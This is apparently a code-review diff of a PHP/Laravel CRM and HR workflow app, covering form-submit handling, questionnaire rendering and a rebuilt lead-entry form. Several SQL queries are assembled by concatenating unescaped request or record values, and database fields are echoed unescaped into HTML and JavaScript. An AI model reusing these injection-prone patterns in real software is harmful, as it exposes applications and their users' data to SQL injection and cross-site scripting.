| 779 | $triggers=$wakka->LoadAll("select * from hrms_triggerhold where varid='".$ppldata['varid']."'"); | ||
| 780 | foreach($triggers as $trigger) | ||
| 781 | { | ||
| 782 | if($trigger['varid']==$ppldata['varid']) | ||
| 783 | { | ||
| 784 | $triggerdata=unserialize($trigger['data']); | ||
| 785 | $triggerdata['newdata']["currentstatus"]=$newdata["currentstatus"]; | ||
| 786 | $this->empWorkflowTrigger($triggerdata['varid'],$triggerdata['client'],$triggerdata['key'],$triggerdata['newval'],$triggerdata['oldval'],$triggerdata['postvars'],$triggerdata['newdata']); | ||
| 787 | } | ||
| 788 | } | ||
| 789 | $wakka->Query("delete from hrms_triggerhold where varid='".$ppldata['varid']."'"); | ||
| 790 | } | ||
| 791 | |||
| 792 | $this->recruitdata["peopledata"]=$ppldata; | ||
| 793 | $this->recruitdata['modifylog']=$changearr; | ||
| 794 | } | ||
| 795 | |||
| 796 | function processFormSubmit() | ||
| 797 | { | ||
| 798 | if(Auth::guest())return "Error-401"; | ||
| 799 | |||
| 800 | $wakka=$this->gthis; | ||
| 801 | $tasknotification=''; | ||
| 802 | $resultstr=""; | ||
| 803 | $result=false; | ||
| 804 | $varid=$this->varid; | ||
| 805 | |||
| 806 | $message=$this->validatePostData(); | ||
| 807 | if($message==""||$wakka->IsAdmin()) | ||
| 808 | { | ||
| 809 | if($message!="")$tasknotification.="Please Check: $message<br>"; | ||
| 810 | |||
| 811 | $this->updateArrayWithPostData(); | ||
| 812 | |||
| 813 | //$res=$wakka->setPerson($varid,$this->recruitdata); | ||
| 814 | if($res<0) | ||
| 815 | { | ||
| 816 | $resultstr="<div class='alert alert-danger'><strong>Record Add/Update Error!</strong><p>Serialization Error.. Cannot Save</p></div><script>simpleNotification('error','topRight','Error. Cannot Save');</script>"; | ||
| 817 | } | ||
| 818 | else | ||
| 819 | { | ||
| 820 | $result=true; | ||
| 821 | |||
| 822 | $wakka->cleanSystemTaskbyID($varid,$this->HRFiledsStr); | ||
| 823 | $tasksemp=$wakka->LoadAll("select name from hrms_tasks where empid='$varid' and status in ('NEW','WIP')"); | ||
| 824 | foreach($tasksemp as $tline)$tasknotification.=$tline['name']."<br>"; | ||
| 825 | |||
| 826 | if($tasknotification==''){$resultstr="<div class='alert alert-success'><strong>Record Updated!</strong><p>Record Data Updated Successfully, you may search and edit or continue to edit data.</p><div style='display:none' id='happy'><img src='/assets/images/emot/happy.jpg' height='80' width='80'></div><div style='display:none' id='sad'><img src='/assets/images/emot/sad.png' height='80' width='80'></div></div><script>clearFileVars();</script><script>simpleNotification('success','topRight','Saved Successfully'); | ||
| 827 | |||
| 828 | </script>";} | ||
| 829 | else {$resultstr="<div class='alert alert-success'><strong>Data Saved with Task Escalation</strong><p>Tasks Created:- <br>$tasknotification</p></div><script>clearFileVars();</script><script>simpleNotification('success','topRight','Saved Successfully');</script>"; | ||
| 830 | } | ||
| 831 | |||
| 832 | $resultstr.= $this->getProcess($this->recruitdata['peopledata'],$wakka); | ||
| 833 | |||
| 834 | |||
| 835 | //sanity check files and task | ||
| 836 | $recruitdata=$this->recruitdata; | ||
| 837 | $tmpstr=explode(",",$this->HRFileFieldsStr); | ||
| 838 | $fixedcnt=0; | ||
| 839 | foreach($tmpstr as $tmpelem) | ||
| 840 | { | ||
| 841 | if(file_exists($this->storagehome."/recruits/$varid/$varid"."_".$tmpelem.".pdf")) | ||
| 842 | { | ||
| 843 | if($recruitdata["peopledata"][$tmpelem]!="$varid"."_".$tmpelem.".pdf"){$recruitdata["peopledata"][$tmpelem]="$varid"."_".$tmpelem.".pdf";$fixedcnt++;} | ||
| 844 | } | ||
| 845 | else | ||
| 846 | { | ||
| 847 | if(isset($recruitdata["peopledata"][$tmpelem])&&$recruitdata["peopledata"][$tmpelem]!=""){$recruitdata["peopledata"][$tmpelem]="";$fixedcnt++;} | ||
| 848 | } | ||
| 849 | } | ||
| 850 | //set fdirty with WIP fields | ||
| 851 | $recruitdata["dirty"]=array(); | ||
| 852 | $taskslist=$wakka->LoadAll("select * from hrms_tasks where empid='$varid' and status in ('NEW','WIP') and creatorid='System' and completecheck!=''"); | ||
| 853 | foreach($taskslist as $taskline) | ||
| 854 | { | ||
| 855 | $recruitdata["dirty"][$taskline['completecheck']]=1; | ||
| 856 | } | ||
| 857 | $this->recruitdata=$recruitdata; | ||
| 858 | $res=$wakka->setPerson($varid,$this->recruitdata); | ||
| 859 | |||
| 860 | } | ||
| 861 | } | ||
| 862 | else | ||
| 863 | { | ||
| 864 | $resultstr="<div class='alert alert-danger'><strong>Record Add/Update Error!</strong><p>Please Check : $message</p></div><script>simpleNotification('error','topRight','Error in saving, Check Errors');</script>"; | ||
| 865 | } | ||
| 866 | |||
| 867 | return $resultstr; | ||
| 868 | } | ||
| 869 | |||
| 870 | |||
| 871 | function buildUL($tooltip,$fpath,$text,$tdata="",$onclick="") | ||
| 872 | { | ||
| 873 | $data="<ul class='dash dash2' onclick='$onclick return false;'> | ||
| 874 | <li> | ||
| 875 | <a href=# onclick='return false;' title='$tooltip' class=tooltip> | ||
| 876 | <img src='$fpath' alt='' tdata='$tdata' /> | ||
| 877 | <span>$text</span> | ||
| 878 | </a> | ||
| 879 | </li> | ||
| 880 | </ul>"; | ||
| 881 | return $data; | ||
| 882 | } | ||
| 883 | function getProcess(&$ppldata,&$gthis) | ||
| 884 | { | ||
| 885 | |||
| 886 | } | ||
| 887 | |||
| 888 | function getStageStatus(&$gthis,$stagestr,&$ppldata,$imgoverride="") | ||
| 889 | { | ||
| 890 | $completed=true;$tdata="";$titleD=array(); | ||
| 891 | $wfstrs=explode("_",$stagestr); | ||
| 892 | $tfields=explode(",",$gthis->HRCoreVars[$stagestr]); | ||
| 893 | foreach($tfields as $tfield) | ||
| 894 | { | ||
| 895 | if($tfield!="") | ||
| 896 | { | ||
| 897 | if(!isset($ppldata[$tfield]))$ppldata[$tfield]=''; | ||
| 898 | |||
| 899 | if($ppldata[$tfield]==""){$completed=false;$title[]="Missing : ".$tfield;} | ||
| 900 | else {$titleD[]="Done : ".$tfield." = ".$ppldata[$tfield];} | ||
| 901 | } | ||
| 902 | } | ||
| 903 | $title[]="<br>";if(is_array($titleD))$title=array_merge($title,$titleD); | ||
| 904 | |||
| 905 | if($completed)$imgoverride="tick_48"; | ||
| 906 | if(!$completed&&$imgoverride=="")$imgoverride="stop_48"; | ||
| 907 | |||
| 908 | if($imgoverride!="stop_48"&&$tdata!="stop_48,err1") | ||
| 909 | { | ||
| 910 | //if last stage is done set system exit status | ||
| 911 | if($stagestr=="WF_Exit"||$stagestr=="WF_UUVC") | ||
| 912 | { | ||
| 913 | $gthis->setPersonKey($ppldata["id"],"generalremarks","[[System:- Exiting Candidate, Removing from Workflow (".date("d.M.Y").").]] ".$ppldata["generalremarks"],"System"); | ||
| 914 | $gthis->setPersonKey($ppldata["id"],"currentstatus",$gthis->HRCoreVars["systemExitStatus"],"System"); | ||
| 915 | $gthis->setPersonKey($ppldata["id"],"workflowstatus",""); | ||
| 916 | $gthis->setPersonKey($ppldata["id"],"workflowstatusS",""); | ||
| 917 | } | ||
| 918 | } | ||
| 919 | else | ||
| 920 | { | ||
| 921 | if(isset($wfstrs[1])) | ||
| 922 | { | ||
| 923 | if($ppldata["workflowstatus"]!=$wfstrs[1])$gthis->setPersonKey($ppldata["id"],"workflowstatus",$wfstrs[1]); | ||
| 924 | if($ppldata["workflowstatusS"]!=$imgoverride)$gthis->setPersonKey($ppldata["id"],"workflowstatusS",$imgoverride); | ||
| 925 | } | ||
| 926 | |||
| 927 | $wfstrs[1].="_ToDo"; | ||
| 928 | } | ||
| 929 | |||
| 930 | if(!isset($ppldata['generalremarks']))$ppldata['generalremarks']=''; | ||
| 931 | |||
| 932 | if($completed)return $this->buildUL(implode("<br>",$titleD),$this->themehome."/assets/icons/$imgoverride.png",$wfstrs[1],$tdata,"Rpopupopen(\"$ppldata[id]\",\"$stagestr\",\"$ppldata[generalremarks]\");"); | ||
| 933 | else return $this->buildUL(implode("<br>",$title), $this->themehome."/assets/icons/$imgoverride.png",$wfstrs[1],$tdata,"Rpopupopen(\"$ppldata[id]\",\"$stagestr\",\"$ppldata[generalremarks]\");"); | ||
| 934 | } | ||
| 935 | |||
| 936 | |||
| 937 | function empWorkflowTrigger($varid,$client,$key,$newval,$oldval,&$postvars,&$newdata) | ||
| 938 | { | ||
| 939 | |||
| 940 | } | ||
| 941 | function empAnalytics($varid,&$ppldata,$key,$newval,$oldval) | ||
| 942 | { | ||
| 943 | |||
| 944 | } | ||
| 945 | //Log::info($data); | ||
| 946 | |||
| 947 | } | ||
| 948 |
application/app/Jobs/181217_KFormLib.php
0 → 100755
This diff could not be displayed because it is too large.
application/app/Jobs/DAP_KFormLib.php
0 → 100755
This diff could not be displayed because it is too large.
application/app/Jobs/Job.php
100755 → 100644
File mode changed
application/app/Jobs/KAuthLib.php
100755 → 100644
File mode changed
application/app/Jobs/KFileLib.php
100755 → 100644
File mode changed
| ... | @@ -930,7 +930,10 @@ $data.="</fieldset></div> | ... | @@ -930,7 +930,10 @@ $data.="</fieldset></div> |
| 930 | var relationshipService = $("#relationshipService option:selected").text(); | 930 | var relationshipService = $("#relationshipService option:selected").text(); |
| 931 | var relationshipCategory = $("#relationshipCategory option:selected").text(); | 931 | var relationshipCategory = $("#relationshipCategory option:selected").text(); |
| 932 | var relationshipSubCategory = $("#relationshipSubCategory").val(); | 932 | var relationshipSubCategory = $("#relationshipSubCategory").val(); |
| 933 | if(service <= 6){ | 933 | if(service <= 6) |
| 934 | { | ||
| 935 | if(relationshipService!="" && relationshipCategory!="" && relationshipSubCategory!="") | ||
| 936 | { | ||
| 934 | $("#dialerdata_service"+service+"-'.$varid.'").val(relationshipService+" -- "+relationshipCategory+" -- "+relationshipSubCategory); | 937 | $("#dialerdata_service"+service+"-'.$varid.'").val(relationshipService+" -- "+relationshipCategory+" -- "+relationshipSubCategory); |
| 935 | if(typeof customerDispofields['.$varid.'] == "undefined") | 938 | if(typeof customerDispofields['.$varid.'] == "undefined") |
| 936 | { | 939 | { |
| ... | @@ -939,6 +942,14 @@ $data.="</fieldset></div> | ... | @@ -939,6 +942,14 @@ $data.="</fieldset></div> |
| 939 | } | 942 | } |
| 940 | customerDispofields['.$varid.']["dialerdata_service"+service] = relationshipService+" -- "+relationshipCategory+" -- "+relationshipSubCategory; | 943 | customerDispofields['.$varid.']["dialerdata_service"+service] = relationshipService+" -- "+relationshipCategory+" -- "+relationshipSubCategory; |
| 941 | service++; | 944 | service++; |
| 945 | |||
| 946 | |||
| 947 | $("#relationshipService").select2("data", {id:"", text:""}); | ||
| 948 | $("#relationshipCategory").select2("data", {id:"", text:""}); | ||
| 949 | $("#relationshipSubCategory").select2("data", {id:"", text:""}); | ||
| 950 | }else{ | ||
| 951 | simpleNotification("error","topRight","please select Service Category and SubCategory"); | ||
| 952 | } | ||
| 942 | } | 953 | } |
| 943 | } | 954 | } |
| 944 | function enableRelationships() | 955 | function enableRelationships() |
| ... | @@ -1102,6 +1113,19 @@ function createQaireTab() | ... | @@ -1102,6 +1113,19 @@ function createQaireTab() |
| 1102 | 1113 | ||
| 1103 | $questions_details=array(); | 1114 | $questions_details=array(); |
| 1104 | $questionhistory=''; | 1115 | $questionhistory=''; |
| 1116 | $question_history=''; | ||
| 1117 | if($dataarr['question'] && $dataarr['clientcode']) | ||
| 1118 | { | ||
| 1119 | $questions_details = DB::select(DB::raw("SELECT distinct question FROM questionaire_details WHERE cust_id=".$dataarr['clientcode']." and question IN(".$dataarr['question'].") ")); | ||
| 1120 | |||
| 1121 | foreach ($questions_details as $questionhistory) { | ||
| 1122 | |||
| 1123 | $question_history.=$questionhistory->question.","; | ||
| 1124 | } | ||
| 1125 | $question_history=substr($question_history,0,-1); | ||
| 1126 | $question_history=explode(",", $question_history); | ||
| 1127 | } | ||
| 1128 | |||
| 1105 | $supervisorcomments=''; | 1129 | $supervisorcomments=''; |
| 1106 | $agent_comments=''; | 1130 | $agent_comments=''; |
| 1107 | 1131 | ||
| ... | @@ -1145,40 +1169,22 @@ function createQaireTab() | ... | @@ -1145,40 +1169,22 @@ function createQaireTab() |
| 1145 | <div id='primary_ques' class='primary_ques'>"; | 1169 | <div id='primary_ques' class='primary_ques'>"; |
| 1146 | foreach($questions as $key=> $primary_question){ | 1170 | foreach($questions as $key=> $primary_question){ |
| 1147 | 1171 | ||
| 1148 | $questions_details=DB::table('questionaire_details')->where('cust_id',$dataarr['clientcode'])->where('question',$primary_question->question_no)->groupBy('cust_id')->select('question')->get(); | 1172 | $data.="<div class='row' id='subParent".$primary_question->question_no."' data-parent='".$primary_question->question_no."' style='border:solid #D3D3D3 2px;border-radius:5px;margin-top:5px;'> |
| 1149 | |||
| 1150 | //echo "<pre>".print_r($questions_details)."</pre>"; | ||
| 1151 | |||
| 1152 | $data.=" | ||
| 1153 | <div class='row' id='subParent".$primary_question->question_no."' data-parent='".$primary_question->question_no."' style='border:solid #D3D3D3 2px;border-radius:5px;margin-top:5px;'> | ||
| 1154 | <div class='row' id='rowDiv1".$primary_question->question_no."'> | 1173 | <div class='row' id='rowDiv1".$primary_question->question_no."'> |
| 1155 | <div class='col-md-4' id='appendChild1".$primary_question->question_no."'> | 1174 | <div class='col-md-4' id='appendChild1".$primary_question->question_no."'> |
| 1156 | <div id='childParentDiv".$primary_question->question_no."'>"; | 1175 | <div id='childParentDiv".$primary_question->question_no."'>"; |
| 1157 | 1176 | ||
| 1158 | 1177 | ||
| 1159 | |||
| 1160 | foreach ($questions_details as $questiondetailkey => $question_detail ) | ||
| 1161 | { | ||
| 1162 | |||
| 1163 | $questionhistory=$question_detail->question; | ||
| 1164 | } | ||
| 1165 | if($primary_question->compulsory_qes =='imp') | 1178 | if($primary_question->compulsory_qes =='imp') |
| 1166 | { | 1179 | { |
| 1167 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#CD6155;cursor:pointer'>"; | 1180 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#CD6155;cursor:pointer'>"; |
| 1168 | }else if($questionhistory=='') | ||
| 1169 | { | ||
| 1170 | if($key%2!=0) | ||
| 1171 | { | ||
| 1172 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#FFFFFF;cursor:pointer'>"; | ||
| 1173 | } | ||
| 1174 | else | ||
| 1175 | { | ||
| 1176 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#e6e5ef;cursor:pointer'>"; | ||
| 1177 | } | ||
| 1178 | } | 1181 | } |
| 1179 | else if($questionhistory==$primary_question->question_no) | 1182 | else if(in_array($primary_question->question_no,$question_history)) |
| 1180 | { | 1183 | { |
| 1181 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#99ffcc;cursor:pointer'>"; | 1184 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#99ffcc;cursor:pointer'>"; |
| 1185 | }else if($key%2!=0) | ||
| 1186 | { | ||
| 1187 | $data.="<div class='panel panel-warning panel-heading' id='parentColorDiv".$primary_question->question_no."' style='background-color:#FFFFFF;cursor:pointer'>"; | ||
| 1182 | } | 1188 | } |
| 1183 | else | 1189 | else |
| 1184 | { | 1190 | { |
| ... | @@ -2802,60 +2808,81 @@ function createLeadEntryForm() | ... | @@ -2802,60 +2808,81 @@ function createLeadEntryForm() |
| 2802 | if($fields->products) | 2808 | if($fields->products) |
| 2803 | $products.= "<option value='$fields->products'>$fields->products</option>"; | 2809 | $products.= "<option value='$fields->products'>$fields->products</option>"; |
| 2804 | } | 2810 | } |
| 2811 | $branchcodeMaster=DB::table("UD_CRM_BR_MASTER")->select('BR_CODE','BR_NAME')->get(); | ||
| 2812 | $brcode = "<option value=''></option>"; | ||
| 2813 | $brname = "<option value=''></option>"; | ||
| 2814 | foreach ($branchcodeMaster as $key => $brmaster) | ||
| 2815 | { | ||
| 2816 | if($brmaster->BR_CODE) | ||
| 2817 | $brcode.= "<option value='$brmaster->BR_CODE'>$brmaster->BR_CODE</option>"; | ||
| 2818 | if($brmaster->BR_NAME) | ||
| 2819 | $brname.= "<option value='$brmaster->BR_CODE'>$brmaster->BR_NAME</option>"; | ||
| 2820 | } | ||
| 2821 | $sm_master= DB::table("UD_SM_MAPPING")->select(DB::raw('distinct USER_NAME'))->where('USER_NAME','!=','')->get(); | ||
| 2822 | $smname="<option value=''></option>"; | ||
| 2823 | foreach ($sm_master as $key => $sm_name) | ||
| 2824 | { | ||
| 2825 | if($sm_name->USER_NAME) | ||
| 2826 | $smname.= "<option value='$sm_name->USER_NAME'>$sm_name->USER_NAME</option>"; | ||
| 2827 | } | ||
| 2828 | $cust_profile= DB::table("UD_LEAD_ENTRY_CUSTOMER_PROFILE")->select('CUST_PROFILE')->get(); | ||
| 2829 | $custprofile="<option value=''></option>"; | ||
| 2830 | foreach ($cust_profile as $key => $cust_pro) { | ||
| 2831 | $custprofile.="<option value='$cust_pro->CUST_PROFILE'>$cust_pro->CUST_PROFILE</option>"; | ||
| 2832 | } | ||
| 2805 | $dataarr=$this->recruitdata["peopledata"]; | 2833 | $dataarr=$this->recruitdata["peopledata"]; |
| 2806 | $data="<div style='clear:both;margin:2% 0 0 1%;border-style: dotted solid dashed;padding:2%'> | 2834 | $data="<div style='clear:both;margin:2% 0 0 1%;border-style: dotted solid dashed;padding:2%'> |
| 2807 | <h5>Lead Entry Form</h5> | 2835 | <h5>Lead Entry Form</h5> |
| 2808 | <hr/><br> | 2836 | <hr/><br> |
| 2809 | 2837 | ||
| 2810 | <div style='clear:both;width:100%;'> | 2838 | <div style='clear:both;width:100%;'> |
| 2811 | |||
| 2812 | |||
| 2813 | <div style='width:49%;float:left'> | ||
| 2814 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Product</label> | ||
| 2815 | <select class='form_hrm_select' style='width:50%;border: 2px solid;' id='products'>$products</select> | ||
| 2816 | </div> | ||
| 2817 | <div style='width:49%;float:left'> | 2839 | <div style='width:49%;float:left'> |
| 2818 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Customer Name</label> | 2840 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Customer Name</label> |
| 2819 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='' id='customer_name'> | 2841 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['firstname']."' id='customer_name' readonly> |
| 2820 | </div> | 2842 | </div> |
| 2821 | |||
| 2822 | </div> | 2843 | </div> |
| 2823 | <br><br> | 2844 | <br><br> |
| 2824 | <div style='clear:both;width:100%;'> | 2845 | <div style='clear:both;width:100%;'> |
| 2825 | |||
| 2826 | <div style='width:49%;float:left'> | 2846 | <div style='width:49%;float:left'> |
| 2827 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Mobile No.</label> | 2847 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Branch Name</label> |
| 2828 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' id='mobile_number'> | 2848 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='br_name'>$brname</select> |
| 2829 | </div> | 2849 | </div> |
| 2830 | <div style='width:49%;float:left'> | 2850 | <div style='width:49%;float:left'> |
| 2831 | <label class='label-small_new' style='width:29%;font-weight:bold;'>City</label> | 2851 | <label class='label-small_new' style='width:29%;font-weight:bold;'>LG Code</label> |
| 2832 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' id='city'> | 2852 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='' id='lg_code'> |
| 2833 | </div> | 2853 | </div> |
| 2834 | |||
| 2835 | </div> | 2854 | </div> |
| 2836 | <br><br> | 2855 | <br><br> |
| 2837 | <div style='clear:both;width:100%;'> | 2856 | <div style='clear:both;width:100%;'> |
| 2838 | <div style='width:49%;float:left'> | 2857 | <div style='width:49%;float:left'> |
| 2839 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Address</label> | 2858 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Mobile Number</label> |
| 2840 | <textarea class='form_new form_new_amend'style='width:50%;border: 2px solid;' maxlength='512' id='address' rows='4'></textarea> | 2859 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['mobile']."' id='mobile'> |
| 2841 | </div> | 2860 | </div> |
| 2842 | <div style='width:49%;float:left'> | 2861 | <div style='width:49%;float:left'> |
| 2843 | <label class='label-small_new' style='width:29%;font-weight:bold;'>State</label> | 2862 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Processing entity</label> |
| 2844 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' id='state' value=''> | 2863 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='processing_entity'><option value='SALES'>SALES</option><option value='OCC'>OCC</option></select> |
| 2845 | </div> | 2864 | </div> |
| 2846 | </div> | 2865 | </div> |
| 2847 | <br><br><br><br><br><br> | 2866 | <br><br> |
| 2848 | <div style='clear:both;width:100%;'> | 2867 | <div style='clear:both;width:100%;'> |
| 2849 | <div> | 2868 | <div style='width:49%;float:left'> |
| 2850 | <label class='label-small_new' style='width:14%;font-weight:bold;'>Agent Memo</label> | 2869 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Lead Owner</label> |
| 2851 | <textarea class='form_new form_new_amend'style='width:74%;border: 2px solid;' maxlength='512' id='agent_memo' rows='4'></textarea> | 2870 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='lead_owner'>$smname</select> |
| 2871 | </div> | ||
| 2872 | <div style='width:49%;float:left'> | ||
| 2873 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Lead Priority</label> | ||
| 2874 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='lead_priority'><option value='Urgent'>Urgent</option><option value='Normal'>Normal</option></select> | ||
| 2852 | </div> | 2875 | </div> |
| 2853 | </div> | 2876 | </div> |
| 2854 | <br><br> | 2877 | <br><br> |
| 2855 | <div style='clear:both;width:100%;'> | 2878 | <div style='clear:both;width:100%;'> |
| 2856 | <div> | 2879 | <div style='width:49%;float:left'> |
| 2857 | <label class='label-small_new' style='width:14%;font-weight:bold;'>Customer Memo</label> | 2880 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Product</label> |
| 2858 | <textarea class='form_new form_new_amend'style='width:74%;border: 2px solid ;' maxlength='512' id='customer_memo' rows='4'></textarea> | 2881 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='product'>$products</select> |
| 2882 | </div> | ||
| 2883 | <div style='width:49%;float:left'> | ||
| 2884 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Customer Profile</label> | ||
| 2885 | <select class='form_hrm_select select2multi' style='width:50%;border: 2px solid;' id='customer_profile'>$custprofile</select> | ||
| 2859 | </div> | 2886 | </div> |
| 2860 | </div> | 2887 | </div> |
| 2861 | <br><br> | 2888 | <br><br> |
| ... | @@ -2867,14 +2894,6 @@ function createLeadEntryForm() | ... | @@ -2867,14 +2894,6 @@ function createLeadEntryForm() |
| 2867 | </div> | 2894 | </div> |
| 2868 | <br><br> | 2895 | <br><br> |
| 2869 | <div style='clear:both;width:100%;'> | 2896 | <div style='clear:both;width:100%;'> |
| 2870 | <div> | ||
| 2871 | <label class='label-small_new' style='width:14%;font-weight:bold;'>Transfer Memo</label> | ||
| 2872 | <textarea class='form_new form_new_amend'style='width:74%;border: 2px solid;' maxlength='512' id='transfer_memo' rows='4'></textarea> | ||
| 2873 | </div> | ||
| 2874 | </div> | ||
| 2875 | |||
| 2876 | <br><br> | ||
| 2877 | <div style='clear:both;width:100%;'> | ||
| 2878 | <input type='button' class='btn btn-default btn-md' style='margin-left:40%;font-weight:bold;' value='Save' id='leadformSave'> | 2897 | <input type='button' class='btn btn-default btn-md' style='margin-left:40%;font-weight:bold;' value='Save' id='leadformSave'> |
| 2879 | </div> | 2898 | </div> |
| 2880 | </div> | 2899 | </div> |
| ... | @@ -2885,35 +2904,90 @@ function createLeadEntryForm() | ... | @@ -2885,35 +2904,90 @@ function createLeadEntryForm() |
| 2885 | 2904 | ||
| 2886 | $('#leadformSave').click(function() | 2905 | $('#leadformSave').click(function() |
| 2887 | { | 2906 | { |
| 2888 | var product = $('#products').val(); | 2907 | if(kstychCall['ts_Talk']<1||Math.ceil(((getNowTS()-kstychCall['ts_Talk'])/1000))<10) |
| 2889 | var customer_name = $('#customer_name').val(); | 2908 | { |
| 2890 | var mobile_number = $('#mobile_number').val(); | 2909 | simpleNotification('error','topRight','please get On call first'); |
| 2891 | var city = $('#city').val(); | 2910 | $('#br_name').select2('data', {id:'', text:''}); |
| 2892 | var state = $('#state').val(); | 2911 | $('#lg_code').val(''); |
| 2893 | var agent_memo = $('#agent_memo').val(); | 2912 | $('#processing_entity').select2('data', {id:'', text:''}); |
| 2894 | var customer_memo = $('#customer_memo').val(); | 2913 | $('#lead_owner').select2('data', {id:'', text:''}); |
| 2914 | $('#lead_priority').select2('data', {id:'', text:''}); | ||
| 2915 | $('#product').select2('data', {id:'', text:''}); | ||
| 2916 | $('#customer_profile').select2('data', {id:'', text:''}); | ||
| 2917 | $('#remarks').val(''); | ||
| 2918 | return; | ||
| 2919 | } | ||
| 2920 | else | ||
| 2921 | { | ||
| 2922 | var br_code = $('#br_name').val(); | ||
| 2923 | var br_name= $('#br_name option:selected').text(); | ||
| 2924 | var lg_code = $('#lg_code').val(); | ||
| 2925 | var mobile = $('#mobile').val(); | ||
| 2926 | var processing_entity = $('#processing_entity').val(); | ||
| 2927 | var lead_owner = $('#lead_owner').val(); | ||
| 2928 | var lead_priority = $('#lead_priority').val(); | ||
| 2929 | var product = $('#product').val(); | ||
| 2930 | var customer_profile = $('#customer_profile').val(); | ||
| 2895 | var remarks = $('#remarks').val(); | 2931 | var remarks = $('#remarks').val(); |
| 2896 | var transfer_memo = $('#transfer_memo').val(); | ||
| 2897 | var address = $('#address').val(); | ||
| 2898 | 2932 | ||
| 2933 | if(br_name==''){ | ||
| 2934 | simpleNotification('error','topRight','please select Branch Name'); | ||
| 2935 | return; | ||
| 2936 | }else if(lg_code==''){ | ||
| 2937 | simpleNotification('error','topRight','please enter LG Code'); | ||
| 2938 | return; | ||
| 2939 | }else if(mobile==''){ | ||
| 2940 | simpleNotification('error','topRight','please enter Mobile Number'); | ||
| 2941 | return; | ||
| 2942 | }else if(processing_entity==''){ | ||
| 2943 | simpleNotification('error','topRight','please select Processing Entity'); | ||
| 2944 | return; | ||
| 2945 | }else if(lead_owner==''){ | ||
| 2946 | simpleNotification('error','topRight','please Select lead owner'); | ||
| 2947 | return; | ||
| 2948 | }else if(lead_priority==''){ | ||
| 2949 | simpleNotification('error','topRight','please select lead Priority'); | ||
| 2950 | return; | ||
| 2951 | }else if(product==''){ | ||
| 2952 | simpleNotification('error','topRight','please select Product'); | ||
| 2953 | return; | ||
| 2954 | }else if(customer_profile==''){ | ||
| 2955 | simpleNotification('error','topRight','please select Customer Profile'); | ||
| 2956 | return; | ||
| 2957 | }else if(remarks==''){ | ||
| 2958 | simpleNotification('error','topRight','please select Remarks'); | ||
| 2959 | return; | ||
| 2960 | } | ||
| 2961 | |||
| 2962 | $('#br_name').select2('data', {id:'', text:''}); | ||
| 2963 | $('#lg_code').val(''); | ||
| 2964 | $('#processing_entity').select2('data', {id:'', text:''}); | ||
| 2965 | $('#lead_owner').select2('data', {id:'', text:''}); | ||
| 2966 | $('#lead_priority').select2('data', {id:'', text:''}); | ||
| 2967 | $('#product').select2('data', {id:'', text:''}); | ||
| 2968 | $('#customer_profile').select2('data', {id:'', text:''}); | ||
| 2969 | $('#remarks').val(''); | ||
| 2899 | 2970 | ||
| 2900 | var postdata='varid='+$('#varid').val(); | 2971 | var postdata='varid='+$('#varid').val(); |
| 2901 | postdata+='&mobile='+'".$dataarr["mobile"]."'; | 2972 | postdata+='&mobile='+'".$dataarr["mobile"]."'; |
| 2902 | postdata+='&client='+'".$dataarr["client"]."'; | 2973 | postdata+='&client='+'".$dataarr["client"]."'; |
| 2903 | postdata+='&clientcode='+'".$dataarr["clientcode"]."'; | 2974 | postdata+='&clientcode='+'".$dataarr["clientcode"]."'; |
| 2904 | postdata+='&firstname='+'".$dataarr["firstname"]."'; | 2975 | postdata+='&firstname='+'".$dataarr["firstname"]."'; |
| 2976 | postdata+='&br_code='+encodeURIComponent(br_code); | ||
| 2977 | postdata+='&br_name='+encodeURIComponent(br_name); | ||
| 2978 | postdata+='&lg_code='+encodeURIComponent(lg_code); | ||
| 2979 | postdata+='&processing_entity='+encodeURIComponent(processing_entity); | ||
| 2980 | postdata+='&lead_owner='+encodeURIComponent(lead_owner); | ||
| 2981 | postdata+='&lead_priority='+encodeURIComponent(lead_priority); | ||
| 2905 | postdata+='&product='+encodeURIComponent(product); | 2982 | postdata+='&product='+encodeURIComponent(product); |
| 2906 | postdata+='&customer_name='+encodeURIComponent(customer_name); | 2983 | postdata+='&customer_profile='+encodeURIComponent(customer_profile); |
| 2907 | postdata+='&mobile_number='+encodeURIComponent(mobile_number); | ||
| 2908 | postdata+='&city='+encodeURIComponent(city); | ||
| 2909 | postdata+='&state='+encodeURIComponent(state); | ||
| 2910 | postdata+='&agent_memo='+encodeURIComponent(agent_memo); | ||
| 2911 | postdata+='&customer_memo='+encodeURIComponent(customer_memo); | ||
| 2912 | postdata+='&remarks='+encodeURIComponent(remarks); | 2984 | postdata+='&remarks='+encodeURIComponent(remarks); |
